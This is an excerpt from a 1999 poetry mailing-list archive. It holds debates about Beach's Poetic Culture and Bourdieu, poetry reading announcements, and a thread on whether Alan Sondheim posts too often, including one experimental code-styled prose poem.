> *Joseph Lease is the author of "Human Rights" and "The Room." His poems have appeared in Grand Street, Talisman, Colorado Review, Agni, and Paris Review. He is Assistant Professor of Creative Writing at Central Michigan University and poetry editor of the Boston Book Review.*
>
> *An open reading will precede the featured readers.*
>
> *This event is free and open to the public. Donations are requested.*
>
> *For more information, please call Mark DuCharme* [redacted] *or Patrick Pritchett* [redacted].

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181. raea100900
Re: Review of Beach's Poetic Culture
Thu 14 Oct 1999

Seeing Fanny in that group certainly surprised and confused me!

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182. Lowther, John
Re: Review of Beach's Poetic Culture
Thu 14 Oct 1999

david kellogg wrote

"The difficulty here is that it sets up the game in favor of the experimentalist. I doubt Dobyns would view his own poetry's importance in the way it articulates

new perspectives or generates innovative formal and cognitive structures -- there might be other terms he would use -- so the fact that his work _doesn't_ do that is of no consequence. None. Nor do these criteria make any headway into understanding what readers actually _do_ with Dobyns, which as far as I could tell Beach couldn't care less about. Certainly the article in Contemporary Literature, on which I assume this chapter is based, provided no such analysis. Perhaps the values of Dobyns's audience are not Beach's -- given that possibility, it is at least worth asking what people who _do_ get something out of it get. I'm no fan of Stephen Dobyns. But Beach's article is not cultural criticism or literary sociology."

i'm toeing into unknown waters here
as i have not, as yet read the book
but to the above i wd like to ask one question

david, are you actually "behind" the notion
that it is only sympathetic readers of dobyns
that only their *use* of said poet is worthwhile
is "of consequence" ?

now, i grant, immediately, that in a sociology
of anything one wd want to have this "inside"
view of the dobyns' lovin poetry public
(i'm somewhat curious as to why they do like him myself)

but, do we believe that bourdieu (or anyone) can
in fact, step outside of their slurs, preconceptions etc
sufficiently to provide the analysis that you seem
to be calling beach to task for ?

again, forgive if my comments arent to the point
as i have not read this book, i simply wonder
at the implications in some of this

for instance, if bourdieu only makes an appearance
in footnotes perhaps holding beach to the yardstick
of him isnt' quite appropriate ? perhaps
that is "of no consequence" as it doesnt address itself
to what the book _does_ for those who've
found it interesting and an OK introduction to
slices of the poetic pie that they might not otherwise
come upon (as it seem to have for mark p
in relation to the slam stuff) ??

thoughts

)L

↑ Index

183. **Lowther, John**
Re: Review of Beach's Poetic Culture
Thu 14 Oct 1999

---

a few more thoughts about all of this

david, you quoted a passage from bourdieu
from which i wd like to examine briefly;

> "There is a specific economy of the literary and artistic field, based on
> a particular form of belief. And the major difficulty lies in the need to
> make a radical break with this belief and with the deceptive certainties
> of the language of celebration, without thereby forgetting that they are
> part of the very reality we are seeking to understand, and that, as such,
> they must have a place in the model intended to explain it. . . . The work
> of art is an object which exists as such only by virtue of the
> (collective) belief which knows and acknowledges it as a work of art.
> Consequently, in order to escape from the usual choice between celebratory
> effusions and the reductive analysis which, failing to take account of the
> fact of belief in the work of art and of the social conditions which
> produce that belief, destroys the work of art as such, a rigorous science
> of art must, pace both the unbelievers and iconoclasts and also the
> believers, assert the possibility and necessity of understanding the work
> in its reality as a fetish; it has to take into account everything which
> helps to constitute the work of art as such, not least the discourses of
> direct and disguised celebration which are among the social conditions of
> production of the work of art qua object of belief."
>
well, i already questioned whether this
seeming objectivity cd be attained, but
just now i'm wondering about why exactly
the attempt to

"understand the work of art in it's reality as a fetish"

isnt swallowed by the proposed economy
of the literary and artistic field --- and thus
this understanding of the work of art
in it's "reality as fetish" yet another things which
would need "find it's place in the model"

arent works of art often fetishized by those
who also have beliefs of varying sorts about
art ---- consider gallery owners

who in some instances cd care less about
the work but wish to surround it with the aura
to fetishize it, such that it will sell --- this
is different certainly, but how different ?

perhaps i am not clear on bourdieu's use
of the word "fetish" ?

anyway

david or anyone familiar with bourdieu, my apologies
if i'm asking boneheaded questions that
were i familiar with his work i wdnt waste my time
on --- but, i've seen some uses made of his name
in places where the conclusions drawn made me
less than confident about bourdieu's thought

)L

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184. **MAYHEW**
Bourdieu
Thu 14 Oct 1999

I've been following the discussion of Beach's book with great interest. I've also been reading Bourdieu while doing an analysis of the poetry reading public in contemporary Spain.

While reading _Distinctions_ it strikes me that Bourdieu vacates aesthetic pleasure on several levels:

High-brow and avant-garde models of aesthetics reinforce social privilege and negate actual pleasure.

Bourdieu scorns middle-brow culture in a scathing chapter entitled "Cultural Good Will." At least that's how I read him. It is the petit-bourgeois's earnest attempt to attain cultural capital, but will always be judged infeior in relation to the high brow elite.

The culture of the popular classes has virtually no value for Bourdieu either. It simply reflects a deep cultural deprivation. It is a taste based on preferring what is after all only a fulfillment of basic necessities.

Bourdieu is no relativist: he doesn't think that popular or mass culture is as good or as valuable as "high culture." But the latter is tainted by its social role as marker of cultural prestige and its denial of pleasure. Bourdieu analyzes all this quite brilliantly, but I find little comfort in him...

Please correct me if I'm wrong, those who have studied this in more depth than I have...

Jonathan Mayhew
[redacted]

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185. eric gleason
Re: demographic query
Thu 14 Oct 1999

I'll get more specific. I'm looking at a possible
move to Memphis. What goes poetically there?

-e

--- "Lowther, John" <[redacted]>
wrote:
> at times i've been interested to see the country by
> country numerical
> listing of poetix listees
>
> but i wonder if it might be possible to zero in on
> states or regions and
> plot the distribution along those lines
>
> more for curiousity than any other reason
>
> but i'd love to know how many listees there are in
>
> florida
> geogia
> south carolina
> north carolina
> virgina
> alabama
> louisianna
> tennesee
> mississippi
>
> that is, the south (did i forget any states ?)
>

=====

_____
Do You Yahoo!?
Bid and sell for free at http://auctions.yahoo.com

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186. **miekal and**
new URL for semetrix
Thu 14 Oct 1999

S E M E T R I X by mIEKAL aND & Maria Damon

:9 x 9 x 6 hypertextual -eme grid
:component speech
:broken language
:boustrophedonic dyslexia

http://net22.com/qazingulaza/hypoeme/semetrix/openframe.html

[not recommended for frames challenged browsers]

↑ Index

187. **Mark Prejsnar**
Re: Review of Beach's Poetic Culture
Thu 14 Oct 1999

"I doubt Dobyns would view his own poetry's importance in the way it articulates new perspectives or generates innovative formal and cognitive structures -- there might be other terms he would use -- so the fact that his work _doesn't_ do that is of no consequence. None."

****

Wrong. Dead wrong. As a reader of poetry (and therefore as a critic as well), it's my right AND (to wax civic here a bit) my duty, to decide what is important in poetry.

S. Dobyns and all others, have in turn the right to dismiss the criteria i believe in..... But, no, i don't believe that a critic like Beach should ask "does Dobyns accomplish what he sets out to do" ? (or rather, he shouldn't make that his main concern, as implied in the quote above..It will usually be one factor that needs discussing) Part of what Beach *should* be doing is: articulating a set of framing arguments regarding what he thinks poetry ought to be doing.....And judging Dobyns accordingly. The critic's task is to think, not just render passive evaluation on execution, defering to rules laid down by the poet...

mark prejsnar @lanta

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188. **miekal and**
Re: demographic query
Thu 14 Oct 1999

---

not to mention the virtually adjacent Autonomous Freestate of Zaumnaya, 42 degrees Lat N.

Rasputin Zukofsky
projectivist heretic

Zaum in the Age of Electronic Huts
http://net22.com/qazingulaza/zaum.html

pete spence wrote:

> *that is, the south (did i forget any states ?)*
>
> *what about the SOUTH ZAUMIST PROTECTORITE whyche i'm LIT Minister of!!*
> *pete*
> *spence*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

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189. **Katherine Lederer**
October 16: MATT ROHRER and EDMUND BERRIGAN NYC
Thu 14 Oct 1999

Segue @ Double Happiness:

October 16: MATT ROHRER and EDMUND BERRIGAN

MATT ROHRER grew up on Oklahoma.
He is the author of A Hummock in the Malookas (W.W. Norton)
and is one of the poetry editors for Fence.

EDDIE BERRIGAN is the author of Disarming Matter (Owl Press, 1999).
He edits LOG Magazine (with Noel Black),
and is currently at work putting together a volume
of the late Steve Carey's poetry.

This Saturday from 4:00 to 6:00 pm.
(Double Happiness is located at 173 Mott Street,

just south of Broome.
A 4$ contribution goes to the readers.)

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190. **dan raphael**
Lest I remember
Thu 14 Oct 1999

Being pretty much a lurker, though long time on the list, I've been waiting for someone else to speak up about sondheim's all too often "poetry" posting to this list. It seems he just views this list as a place to post whatever comes off his typewriter. is there any way to say, just one a week a week, or, allan spend a little time with the poem/work before springing onto the hundreds of readers of this list.

dan raphael

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191. **Pritchett,Patrick**
Re: Tom Phillips refs.
Thu 14 Oct 1999

Sorry to post to the list at large, but my backchannel response got zapped. Alan, could you please contact me about this McCaffery piece? Thanks. Patrick Pritchett [redacted]

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192. **David Kirschenbaum**
Booglit 6: The Kerouac issue, NYC Pub. Party w/David Amram & more
Thu 14 Oct 1999

Safe in Heaven Dead: Booglit Remembers Jack Kerouac

Monday October 25, 1999, 8:00p.m. sharp
Oasis Lounge 21 St. Mark’s Place (1st-A)
New York City

Booglit 6: The Kerouac issue, publication party

with special guest David Amram
legendary musician and Kerouac collaborator

and performances by
Mark Fisher, Eliot Katz, Wendy Kramer, Eero Ruutilla,

Herschel Silverman, Dan Shot, Maryclaire Wellinger,
Ian Wilder, and Kimberly Wilder

Hosted by Booglit editor David A. Kirschenbaum

For more info: [redacted] email: [redacted]

Directions: R to 8th Street, 6th to Astor Place or L to 1st Avenue. Venue on left. No cover. Followed by house jazz band.

Issues available for $10 ppd to list members ($5 of which goes to Lowell Celebrates Kerouac! a nonprofit community group):

Checks payable to:

Booglit
351 W.24th St. Suite 19E
New York, NY 10011-1510

as ever,
David

Get Your Private, Free Email at http://www.hotmail.com

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193. Mopehaus Productions
EX
Fri 15 Oct 1999

"EX" a multimedia performance

music by Mike Higgins

words & video by Jason Brooks

choreography by Michelle Fenner

October 20, 1999
8pm
St. Mary's Church (3912 Locust Walk)
Philadelphia

"EX" will be a kind of sensory overload rooted in the revolution fantasies of the Romantics with some help from Dole Pineapple, William Blake, and manically depressed Arab emigrates. Yes, yes, sexy indeed...

MIKE HIGGINS is a composer from Liverpool (UK) and is very much into Pierre Boulez and Thomas Bernhard. His work is usually very minimal and can span up to 20 hours. Is he avant garde? Well, what does that mean anyway?

JASON BROOKS is a poet and Philadelphia native. He used to write pornographic punk-type stuff, but doesn't do that anymore. Some of his work will be published by Head Hunter Press's "Lambs for the Sacrifice Anthology" this winter.

MICHELLE FENNER is from San Francisco and is the newest member of Temple University's graduate Dance Program. She has toured the US and Europe with various companies. She is also a master (or is it mistress ?) of improvisation.

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194. **pete spence**

Re: an informal survey

Fri 15 Oct 1999

> *I am interested in a how people actually read books of poetry, >*
> *Jonathan Mayhew*
> [redacted]
>
> *i read chris mann from the back o' the bookie to the front, whyche is in*
> *fact the order they were writ//pete spence*

Get Your Private, Free Email at http://www.hotmail.com

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195. **pete spence**

Re: The POETRY INTO FILM Competition

Fri 15 Oct 1999

>
>pete,
>
> any information on obtaining rea's work would be appreciated. I
>became interested in her work after seeing the vector poems in _Point of
>View_ and translating her brief piece in _sic
>(http://www.sicmagazine.com). Yes, I think you should send your films
>in even if they won't understand it.
>
>tom bell
>

tom just look in the sackner archive of visual poetry webb site good listing of both rea's and serge's work also i think michael and has published a couple of books of their work,, now they both live in germany its easier to contact them whyche means i can get back to where i left off!!! re the films tho they are on super 8 and are the camera copy i never could afford to get a print of 'em///pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

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196. **Tisa Bryant**
Re: singing the holes in history
Fri 15 Oct 1999

I concur!
I bought the book about six weeks ago or more, and it is quite an important work.

> *A few weeks ago Hank Lazer mentioned Paul Naylor's book _Singing the Holes in History_(Northwestern University Press). I want to recommend it also. The author, Paul Naylor, gives interesting readings of Susan Howe, Nathaniel Mackey, Lyn Hejinian, Kamau Brathwaite and M. Nourbese Phillip*

****
Today we declare:
First, they are living in a Nono form;
Second, they are Nono lives;
Third, they make us feel Nono;
Fourth, they make us become Nono;
Fifth, we Nono.
Lan Ma
"Manifesto of Nonoism"
(Chendu, China, May 4, 1986)
****

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197. **Mark Prejsnar**
Re: singing the holes in history
Fri 15 Oct 1999

re Paul Naylor's Poetic investigations:

I have read so far the intro and the 1st chapter (on Howe); a very interesting book--it seems a little quaint to me: Naylor, who (like your trusty

correspondent) strongly identifies with active left political engagement, makes that political viewpoint the main organizing strand of his book . (Unlike moi, he follows the current fashion of dismissing most of the long tradition of socialism, embracing in its stead the political theories of Mouffe and Leclau..) His strong adherence to a serious leftism causes him to actually start each discussion (in what i've read so far) with a rather defensive explanation that yes the work of these poets is very dense and impenetrable, and appears to be solipsistic and opaque, but he will show how it is actually good writing characterized by a responsible social and political engagement... Thus, he (more or less consciously) piches his analysis in the key of your "activist in the street" who has an automatic reflex action of vulgar zhdanovist horror, when confronted with contemporary writing.... Since as an activist i've hung out with such people all my life, i see the utility in this, i guess.. But this rather hectic way of starting each analysis with an acknowledgment of the supposed "difficulty" of our finest contemporary poets strikes me as...well, quaint. Anyone interested enuff to be reading Naylor is probably also bright enuff to begin grappling with real poetry by herself.. In some respects we should be past the point of having to apologize for good writing..

(More substantively: the intro seems OK, though not earth-shaking...but the chapter on Howe says little new, it seems to me: the way in which she builds her work around the voices of the dispossessed of history, has already been much commented on, by her and by many others..)

This is not to dismiss Tom's point: it seems a mildly valuble book; & highly visible discussions of our best contemporary poets, are to be encouraged, *especially* from university presses, who are usually so firm in their across-the-board commitment to dreck

mark prejsnar

On Wed, 13 Oct 1999, Tom Beckett wrote:

> *A few weeks ago Hank Lazer mentioned Paul Naylor's book _Singing the Holes in History_(Northwestern University Press). I want to recommend it also. The author, Paul Naylor, gives interesting readings of Susan Howe, Nathaniel Mackey, Lyn Hejinian, Kamau Brathwaite and M. Nourbese Phillip*

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198. **Jordan Davis**
"*pensare*"
Fri 15 Oct 1999

> *The critic's task is to think, not just render passive*
> *evaluation on execution, defering to rules laid down by the poet...*

And "to think" means what, nowadays? Eliot liked to say D.H. Lawrence could not be accused of thinking, of having a thought; I guess he thought Lawrence's mental activity was mere will to organize sense impressions or politico-sexual platforms? In any case Mark's view of the critic as prescriptive sounds like a good possibility for criticism but we gotta read miranda rights to the article he uses -- as long as we're on the "A POETICS" list -- now over on the B+ POETICS list it's another story.

But Mark, what about the possibility of a genuinely sociological criticism, anthropological even, investigating the set of beliefs (manners, fetishes, however you want to label the learned-behavior) in the background of the work? Like, to know that Hopkins and Merce Cunningham were in Olson's head as much as the more obvious influences of Pound Yeats and WCW. And to know about where he grew up, and what his politics were, and what rules he was laying down -- so that we don't have to judge him by, say, Edwardian, or high modernist standards?

Just some, em, ur, thoughts?
Jordan

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199. A H Bramhall
up with down!
Fri 15 Oct 1999

Dan Raphael expressed this to the list, neglecting to capitalize his name properly, which I hate and hope something can be done about but I'll overlook because he's onto a major issue here:

"I've been waiting for someone else to speak up about sondheim's all too often "poetry" posting to this list. It seems he just views this list as a place to post whatever comes off his typewriter."

right on with the censorship idea! we can't let this list become prey to those who wish to post to it. we are caught up all the time with stuff, gobs of stuff. we need less stuff. we need to cut back. the heretics are ruining the garden, everything is so bad. I'm being oppressed. there are children everywhere. people are talking. it was really rainy yesterday. I can't take it anymore. Alan Sondheim keeps writing stuff, and it's not "real" poetry. it's stuff that just came off his typewriter, as opposed to the other kind. what right does he have? let us band together, I mean it, and demand that Alan stop posting stuff from his typewriter because if he doesn't we're going to have to learn how to use the delete button, and I for one am much too busy for that.

yours with an urgent sense of a vast problem, yet one, I think, that we can lick, if we just, like, you know, whatever. Allen

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200. David Kellogg
Review of Beach's Poetic Culture
Fri 15 Oct 1999

> *I wrote (gruffly, and probably too stridently):*

> "The difficulty here is that it sets up the game in favor of the
> experimentalist. I doubt Dobyns would view his own poetry's importance in
> the way it articulates new perspectives or generates innovative formal and
> cognitive structures -- there might be other terms he would use -- so the
> fact that his work _doesn't_ do that is of no consequence. None. Nor do
> these criteria make any headway into understanding what readers actually
> _do_ with Dobyns, which as far as I could tell Beach couldn't care less
> about. Certainly the article in Contemporary Literature, on which I assume
> this chapter is based, provided no such analysis. Perhaps the values of
> Dobyns's audience are not Beach's -- given that possibility, it is at least
> worth asking what people who _do_ get something out of it get.
> I'm no fan of Stephen Dobyns. But Beach's article is not cultural
> criticism or literary sociology."

> *To which John Lowther responded :*
>
> *i'm toeing into unknown waters here*
> *as i have not, as yet read the book*
> *but to the above i wd like to ask one question*
>
> *david, are you actually "behind" the notion*
> *that it is only sympathetic readers of dobyns*
> *that only their *use* of said poet is worthwhile*
> *is "of consequence" ?*

I'm not sure I understand the question. I _do_ think that Beach's analysis is
dismissive of the real issue of audience. In fact, his analysis of Dobyns's
audience is wholly dismissive: it is a "built-in academic audience of more than
three hundred creative writing programs" (59). While a few gestures are made
toward what reviewers have to say about Dobyns, or more often what they do not
say: "reviewers seldom speak about his use of form, if they mention it at all."
(61)

What unsympathetic readers might do with Dobyns -- or other mainstream poets --
is an interesting sociological question. I imagine the anti-mainstream focus
of much alternative poetics could be the subject of a pretty cool study. But
that's not what Beach examines; rather, it's what he exemplifies.

> *now, i grant, immediately, that in a sociology*
> *of anything one wd want to have this "inside"*
> *view of the dobyns' lovin poetry public*
> *(i'm somewhat curious as to why they do like him myself)*
>
> *but, do we believe that bourdieu (or anyone) can*
> *in fact, step outside of their slurs, preconceptions etc*
> *sufficiently to provide the analysis that you seem*
> *to be calling beach to task for ?*

Not a total analysis, no. But there could be a variety of ways of getting closer -- surveys of workshop participants, close analysis of the terms of positive reviews without snide dismissals of those same reviews, etc.

> *again, forgive if my comments arent to the point*
> *as i have not read this book, i simply wonder*
> *at the implications in some of this*
>
> *for instance, if bourdieu only makes an appearance*
> *in footnotes perhaps holding beach to the yardstick*
> *of him isnt' quite appropriate ?*

It' much more than footnotes. It's in the introduction, it's all over Chapter
2.

> *perhaps*
> *that is "of no consequence" as it doesnt address itself*
> *to what the book _does_ for those who've*
> *found it interesting and an OK introduction to*
> *slices of the poetic pie that they might not otherwise*
> *come upon (as it seem to have for mark p*
> *in relation to the slam stuff) ??*

I presented my view of Beach's article pretty harshly, more harshly than I
would put it in a professional review. In view of the crap that'sout there
posing as poetry criticism, Beach's work is a positive good -- in fact, I think
from my cursory reading that the slam stuff is excellent.

Cheers,
David

David Kellogg
[redacted]
Duke University, University Writing Program
[redacted]

↑ Index

201. **David Kellogg**
Re: Review of Beach's Poetic Culture
Fri 15 Oct 1999

"Lowther, John" wrote:

> *well, i already questioned whether this*
> *seeming objectivity cd be attained, but*
> *just now i'm wondering about why exactly*
> *the attempt to*
>
> *"understand the work of art in it's reality as a fetish"*
>
> *isnt swallowed by the proposed economy*
> *of the literary and artistic field --- and thus*
> *this understanding of the work of art*
> *in it's "reality as fetish" yet another things which*
> *would need "find it's place in the model"*
>
> *arent works of art often fetishized by those*
> *who also have beliefs of varying sorts about*
> *art ---- consider gallery owners*
> *who in some instances cd care less about*

> *the work but wish to surround it with the aura*
> *to fetishize it, such that it will sell --- this*
> *is different certainly, but how different ?*
>
> *perhaps i am not clear on bourdieu's use*
> *of the word "fetish" ?*

Excellent question. Bourdieu's notion of the "fetish" owes a lot to Marx, natch, but also plugs in to his own concept of a "circle of belief," in this case the "believers" in poetry or those who benefit from that belief. (Literary critics, for example.) I don't mean to use PB like a sacred text, but a lot of what you have said here seems well addressed by another passage in the Field of Cultural Production:

"The ideology of creation, which makes the author the first and last source of the value of his work, conceals the fact that the cultural businessman (art dealer, publisher, etc.) is at one in the same time the person who exploits the labor of the "creator" by trading in the "sacred" in the person who, by putting it on the market, by exhibiting, publishing or staging it, consecrates a product which he has "discovered" and which would otherwise remain in your natural resources; and more consecrated he personally is, the more strongly consecrates the work. The art trader is not just the agent who gives the work a commercial value by bringing it into a market; he is not just the representative, the impresario, who "defends the authors he loves." He is the person who can proclaim the value of the author he defends (cf. the fiction of the catalogue or blurb) and above all "invests his prestige" in the author's cause, acting as a "symbolic banker" who offers as security although symbolic capital he has accumulated (which he is liable to forfeit if he backs a "loser"). This investment, of which the accompanying "economic" investments are themselves only a guarantee, is what brings the producer into the cycle of consecration. Entering the field of literature is not so much like going into religion as getting into a select club: the publisher is one of those prestigious sponsors (together with preface-writers and critics) who effusively recommend their candidate. Even clearer is the role of the art dealer, who literally has to "introduce" the artist and his work into ever more select company (group exhibitions, one-man shows, prestigious collections, museums) and ever more sought-after places. But the law of this universe, whereby the less invisible the investment, the more productive it is symbolically, means that promotion exercises, which in the business world take the overt form of publicity, must here me euphemized. The art trader cannot serve his "discovery" unless he applies all his conviction, which rules out "sordidly commercial" maneuvers, manipulation and the "hard sell," in favor of the softer, more discreet forms of "public relations" (which are themselves a highly euphemized form of publicity) -- receptions, society gatherings, and judiciously placed confidences." (76-7).

David Kellogg
[redacted]
Duke University, University Writing Program
[redacted]

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202. K.Angelo Hehir
the press
Fri 15 Oct 1999

hi folks,

i see a Gestetner 360 printer in the paper and will go and have a look at it tomorrow. can anyone help me out with things to look for. are materials available still? the fellow on the phone says that he has extra roles and paper and stuff for colour printing. the paper says 200$, is this good(in canadian funds of course).

any help will be appreciated.

thanks,
kevin

↑ Index

203. David Kellogg
Re: Review of Beach's Poetic Culture
Fri 15 Oct 1999

Mark Prejsnar wrote:

> *"I doubt Dobyns would view his own poetry's importance in the way it articulates new perspectives or generates innovative formal and cognitive structures -- there might be other terms he would use -- so the fact that his work _doesn't_ do that is of no consequence. None."*
>
> **********
>
> *Wrong. Dead wrong. As a reader of poetry (and therefore as a critic as well), it's my right AND (to wax civic here a bit) my duty, to decide what is important in poetry.*

Well, sure. Everybody does that already. And insofar as Beach proclaims his own differences with Dobyns, I have no problem with his readings. It's when Beach substitutes "the reader" or "we" for his own voice and basically erases the difference between a close reading and a sociological engagement that I find

> *S. Dobyns and all others, have in turn the right to dismiss the criteria i believe in..... But, no, i don't believe that a critic like Beach should ask "does Dobyns accomplish what he sets out to do" ? (or rather, he shouldn't make that his main concern, as implied in the quote above..It will usually be one factor that needs discussing)*

Why not? Since he frames his work as, in part, a literary sociology: a work that addresses "literary production and reception," that "attempts to provide some kind of comprehensive or analytical study of poetry as a sociocultural phenomenon." Yet the reception of Dobyns is of no concern to Beach.

> *Part of what Beach*
> **should* be doing is: articulating a set of framing arguments regarding what he thinks poetry ought to be doing.....And judging Dobyns accordingly. The critic's task is to think, not just render passive evaluation on execution, defering to rules laid down by the poet...*

That's a false dichotomy: "framing arguments regarding what he thinks poetry ought to be doing" versus "just render[ing] passive evaluation on execution, defer[r]ing to rules laid down by the poet." In fact, I contributed to that false dichotomy by framing the "consequence" of Beach's position in terms of what Dobyns thinks. More properly, what Dobyns's readers _do_ with Dobyns is the (sociological) point at issue.

Mark, why do you lay down the "critic's task" in such prescriptive terms? If Beach wants to act as a critic in the terms you're laying out, fine -- but it's the way criticism (aesthetics) _always_ trumps sociology in this chapter -- the way sociology is just an excuse for another close reading -- that gets me.

David Kellogg
[redacted]
Duke University, University Writing Program
[redacted]

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204. Patrick Herron
Re: Lest I remember
Fri 15 Oct 1999

Using your delete key is an option you may wish to exercise if you don't like what someone shares.

Some of us enjoy Alan's writing and his zeal at least enough not to want to insult him publicly or discourage others who may wish to be just as enthusiastic about their own writings. As in all things (the wisdom of post-crit?) it's all just a matter of taste.

Maybe more people could post their own writing to the list.

Maybe less people would advertise their pubs with the typical roll calls of names of writers.

Again, a matter of taste.

But then again this is a moderated list, so maybe my opined gape means little.

Patrick "can't we all just get along" Herron
"a matter of taste"
"anarchopoesis"
"why must we aspire to distal puppeteering"
"thanks for youer response!"
"blame, shame, lame, fame"

Being pretty much a lurker, though long time on the list, I've been waiting for someone else to speak up about sondheim's all too often "poetry" posting to this list. It seems he just views this list as a place to post whatever comes off his typewriter. is there any way to say, just one a week a week, or, allan spend a little time with the poem/work before springing onto the hundreds of readers of this list.

dan raphael

_____
Get Your Private, Free Email at http://www.hotmail.com

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205. **charssmith**
Re: Tom Phillips refs.
Fri 15 Oct 1999

The Phillips site has moved a few times. There are several essays & RealAudio files of TP reading. It's now at:

http://www.humument.com

--cs

<< A couple of short ones: Steve McCaffery has a very brief discussion of Phillips in his essay "The Scandal of Sincerity: Towards a Levinasian Poetics," *Pretexts: Studies in Writing and Culture* 6.2 (1997): 167-190. In a note he cites a web site that apparently has Phillips material so maybe that'll be helpful: www.wolfenet.com/duchamp/ >>

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206. **K.Silem Mohammad**

Re: Lest I remember (Sondheim posts)

Fri 15 Oct 1999

Dan Raphael wrote:

> *Being pretty much a lurker, though long time on the list, I've been waiting for someone else to speak up about sondheim's all too often "poetry" posting to this list. It seems he just views this list as a place to post whatever comes off his typewriter. is there any way to say, just one a week a week, or, allan spend a little time with the poem/work before springing onto the hundreds of readers of this list.*
>
> *dan raphael*

NO NO NO!

I, though also largely a lurker, view Sondheim's posts as an integral and indispensable pattern of fabric in the overall weave of this list. To a considerable (though of course partial) degree, they _are_ the list. Any legislation imposed on this generously continual contribution would be destructive and wrong-headed, in my opinion. I'd feel this way even if I felt that there _were_ some truth to the claim that these posts were sometimes just "whatever comes off [Sondheim's] typewriter." That this claim seems to me to be perverse only intensifies my feeling.

Of course it's important to exercise discretion in keeping the list at some sort of manageable economy, but does this economy really necessitate the curtailment of what has become a distinguishing mark of the list's _character_ (and if I here seem to invoke a concept that is for some uncomfortably akin to notions of "voice," "invidiuality," etc., oh well!)?

I hereby cast my vote for more uncensored, straight-from-the-source, Jennifer meatgirl cancer error message text daily.

Kasey

K. Silem Mohammad
Santa Cruz, California
[redacted]
OR [redacted]

Get Your Private, Free Email at http://www.hotmail.com

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207. Michael Magee
Re: Do you trade?
Fri 15 Oct 1999

David, I've been trying to stop trading b/c I do a fairly small run and have been trading myself right out of stock lately. But I like the stuff you do at Boog. You wanna give me some abbreviated list of titles and I'll pick a couple things to swap you for? Let me know. -Mike.

According
to David Kirschenbaum: >
> Michael-Grabbed a combo at Granary books moving sale, nice stuff. Do you
> trade?
> as ever,
> David Kirschenbaum, editor
> Boog Literature
> (formalities upon introduction only)
>
> _____
> Get Your Private, Free Email at http://www.hotmail.com
>

↑ Index

208. Katherine Lederer
Brian Lennon
Fri 15 Oct 1999

Does anyone have Brian Lennon's E-mail address?

Thanks,
Katy Lederer

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209. Peter Fogarty
Re: Lest I remember
Fri 15 Oct 1999

Without wanting to start throwing petrol cans about,

> Being pretty much a lurker, though long time on the list, I've been
waiting
> for someone else to speak up about sondheim's all too often "poetry"
posting
> to this list. It seems he just views this list as a place to post whatever
> comes off his typewriter.

Isn't that the exact thing we do here; this list is a place to post whatever comes off our typewriters, be it this very post, a notice that poetry readings are being held in a city on the other side of the planet, a work of poetry/poetics, or critical commentary? I don't know how long Sondheim sits on his work before he sends it to this list, but it is part of a greater whole, as I'm sure you'd have seen from his periodic notices. I must admit that very often it is incomprehensible, and that is an utterly refreshing change from the thousands of comprehensible posts which make their fleeting appearances in my filters and end up written over when I empty my trash. Sondheim is one of the few people whose work I keep: looking at my poetics inbox, AH Bramhall, John Lowther, Miekal And, David Bromige, Ron Silliman dominate amongst the other men and women of this list for the frequency of appearance of their names. As a lurker, you've only just revealed your presence, and you do so with a criticism, as did I, I must admit. I don't know, it just seems facile to criticise someone for posting whatever comes off their typewriter. This just came off my own typewriter

[#%$^string decrypted&}

sparks crackle into auditory nerve; sound explodes with its signature before the implant melts; a bubbling of skin, boiling of eye, searing mind filled with human stati; I splash amidst rioting flagellants with eyes ecstastic rebellion against dead lines scatter shot through you, scroll arcing lamplight ignites acrid fuel clotted around the hairs on my body like sand about a pier pole. hairs erect and shrivel evaporate in the rinsin haze. my eyes feel warm and I glow with danger. a torch song on my auditory piano, but here, here! hear! no longer. my ear tickles as magnet melts sight vanishes, primal unmodified silence comes home for the last time mecury runs down my skull, I lose feeling in my feet, my nostrils smell pork roast. penis stands proud. we who are about to die, salute you. survivor! ghosts in the mists rushing panic down grimed synapse service corridors high in the quietness, my nerves shut down auxiliary centers. to cartesian theatre I retreat. in haste dead line readjust! readjust! course correc . . .

{!decrypt ended&%@]
endobj
7 0 obj
<<
/Im0 11 0 R
/Im1 12 0 R
>>
endobj
6 0 obj
<<
/Length 39490

>>
stream

it's at http://mutate.co.nz/ if anyone wants to know, view source. should I sit here for a while longer before I posted it? I don't know, that's at my discretion, isn't it?

It's a beautiful day outside so I'll just go out and take some panacea from nature. Just one more thing I would like to say: on a poetics list, why is there not more poetics and poetry? The event reviews, the event notices, the book reviews and commentary are excellent, but where's the poetics? I'm too nervous to post my own for the very reason that it has just come off my typewriter and I need to reflect on what I just said before I decide it is worthy. That's a personal thing. Alan clearly thinks his work is worthy of distribution, who is to say he hasn't thought about it before hitting send? and I hit send.

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210. Karen Kelley
Re: Lest I remember
Fri 15 Oct 1999

I like it. I like seeing it whenever he's ready to show it.

> From: dan raphael <[redacted]>
> To: [redacted]
> Subject: Lest I remember
> Date: Thursday, October 14, 1999 4:28 PM
>
> Being pretty much a lurker, though long time on the list, I've been
waiting
> for someone else to speak up about sondheim's all too often "poetry"
posting
> to this list. It seems he just views this list as a place to post
whatever
> comes off his typewriter.
> is there any way to say, just one a week a week, or, allan spend a little
> time with the poem/work before springing onto the hundreds of readers of
> this list.
>
> dan raphael

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211. George Fouhy
Poetry & Open Mike!
Sat 16 Oct 1999

This is a guaranteed excellent poetry reading!! Don't miss it!

Northern Westchester Center For The Arts
Creative Arts Café Poetry Series
272 N. Bedford Road Mt. Kisco, NY
For information call: [redacted]

For immediate release:

Poet RON PRICE at Creative Arts Café Poetry Series
followed by OPEN MIKE

Mt. Kisco, NY: The Creative Arts Café Poetry Series at the Northern Westchester Center for the Arts continues its weekly poetry readings and open mike Monday, October 18th with poet Ron Price who is currently an artist/teacher in residence at the Juilliard School of Performing Arts in New York City. The reading begins at 7:30 PM and is followed by a reception, book signing and an open mike for audience participation.

Ron Price is an award winning poet and translator and the author of Surviving Brothers. He is a founding member of the Free Peoples Poetry Workshop in Memphis and in Philadelphia. He was a teaching fellow for Writing Across the Curriculum and has taught through Poets in the Schools, Poets in the Parks and Poets in Prisons. Ron Price currently is a Poet/teacher in residence at the Juilliard School of Performing Arts and teaches poetry writing at the Northern Westchester Center for the Arts.

There is a reception and book signing following the reading. The audience is invited to read original poetry or favorite poems at the Open Mike.

There is a suggested donation (not required!) of $7.00 at the door; $5.00 for students and seniors.

This series is sponsored, in part, by the New York State Council on the Arts, the Bydale Foundation and private funds.

